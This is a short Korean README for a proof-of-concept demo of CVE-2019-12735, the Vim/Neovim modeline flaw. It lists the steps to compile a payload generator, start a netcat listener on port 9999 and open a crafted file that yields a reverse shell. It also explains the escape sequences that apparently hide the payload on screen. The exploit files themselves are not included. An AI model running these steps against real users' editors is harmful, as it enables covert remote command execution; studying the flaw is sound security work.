
cve-2019-12735용 데모
이 CVE는 neovim 0.3.6 및 vim 8.1.1365 이후에 수정되었습니다.
vim demo1.txt
gcc make_demo3.c -o make_demo3
./make_demo3
nc -vlp 9999
vim demo3.txt
그러면 세션에서 리눅스 명령어를 실행할 수 있습니다.
\x1b[?7l : 줄 끝에 도달해도 줄바꿈하지 않고, 마지막 문자를 계속 덮어씁니다.\x1bS: STS, 전송 상태 설정\x1b[1G: 열 1로 이동\x1b[K: 현재 커서 위치부터 줄 끝까지 모든 문자 삭제